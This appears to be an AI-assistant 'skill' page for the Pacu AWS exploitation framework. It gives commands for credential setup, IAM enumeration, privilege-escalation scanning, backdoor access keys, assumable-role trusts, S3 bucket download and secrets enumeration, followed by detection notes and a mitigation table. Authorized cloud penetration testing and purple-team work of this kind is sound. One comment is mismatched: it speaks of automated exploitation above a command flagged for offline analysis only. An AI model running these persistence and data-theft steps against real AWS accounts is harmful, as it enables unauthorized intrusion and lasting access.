Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence/backdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence/backdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.
Legal Notice: This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope/Rules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.
Overview
Pacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence/backdooring/exfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.
A Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with set_keys or by importing from ~/.aws/credentials), confirm the identity with whoami, then enumerate IAM and the rest of the account. The flagship workflow is iam__enum_permissions followed by iam__privesc_scan, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole + lambda:CreateFunction, sts:AssumeRole) and can auto-exploit them. Persistence modules such as iam__backdoor_users_keys mint a second access key on an existing user, and iam__backdoor_assume_role adds a trust to a role so the attacker can assume it later.
This skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence/backdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com/RhinoSecurityLabs/pacu.
When to Use
Conducting an authorized AWS cloud penetration test or red-team engagement
Assessing the blast radius of a single compromised IAM credential (privesc scanning)
Demonstrating persistence/backdoor techniques to drive remediation
Generating realistic attacker telemetry to test cloud detections (purple team)
Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure
Prerequisites
Pacu installed:
python3 -m pip install -U pip
python3 -m pip install -U pacu # then run: pacu# or, preferred on Kali, with pipx:
pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
# or Docker:
docker run -it rhinosecuritylabs/pacu:latest
AWS access key/secret (and optional session token) for the in-scope target principal
A signed authorization / Rules of Engagement document defining scope
Python 3.9+ and outbound HTTPS to AWS API endpoints
AWS CLI installed for verification (aws sts get-caller-identity)
Objectives
Install Pacu and create an isolated engagement session
Load and validate target AWS credentials
Enumerate IAM permissions for the compromised principal
Identify and (where authorized) exploit privilege-escalation paths
Establish persistence via backdoor access keys and role trusts
Enumerate and access data in EC2, S3, and Secrets Manager
Export findings for reporting and ensure all artifacts are removed
MITRE ATT&CK Mapping
ID
Name
Use in this skill
T1078.004
Valid Accounts: Cloud Accounts
Pacu operates as a valid AWS principal and abuses its permissions
3. Enumerate IAM entities and the compromised principal's permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM # review what was collected into the session DB
4. Scan for privilege-escalation paths
iam__privesc_scan checks the principal against known AWS privesc primitives and lists viable methods.
Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline # analyze without making changes
5. Establish persistence with a backdoor access key
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
6. Enumerate compute and storage
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
7. Harvest secrets
Pacu> run secrets__enum
8. Non-interactive execution (CI / scripted)
Pacu supports one-shot module execution from the shell.
Pacu modules are noisy and durable; an operator must plan for both detection and cleanup:
iam__enum_permissions and iam__enum_users_roles_policies_groups generate a large
burst of iam:List*/iam:Get* calls visible in CloudTrail and GuardDuty
(Discovery:IAMUser/AnomalousBehavior).
iam__privesc_scan in non-offline mode can make state-changing calls
(iam:CreatePolicyVersion, iam:AttachUserPolicy); use --offline for analysis only.
iam__backdoor_users_keys triggers iam:CreateAccessKey, and
iam__backdoor_assume_role triggers iam:UpdateAssumeRolePolicy — both are
high-signal persistence indicators that defenders alert on.
Record every artifact ID (access keys, policy versions, role-trust changes) so each
can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.
Defensive Mitigations to Recommend
Finding
Remediation
Over-permissive IAM principal (privesc path)
Apply least privilege; scope iam:PassRole with conditions
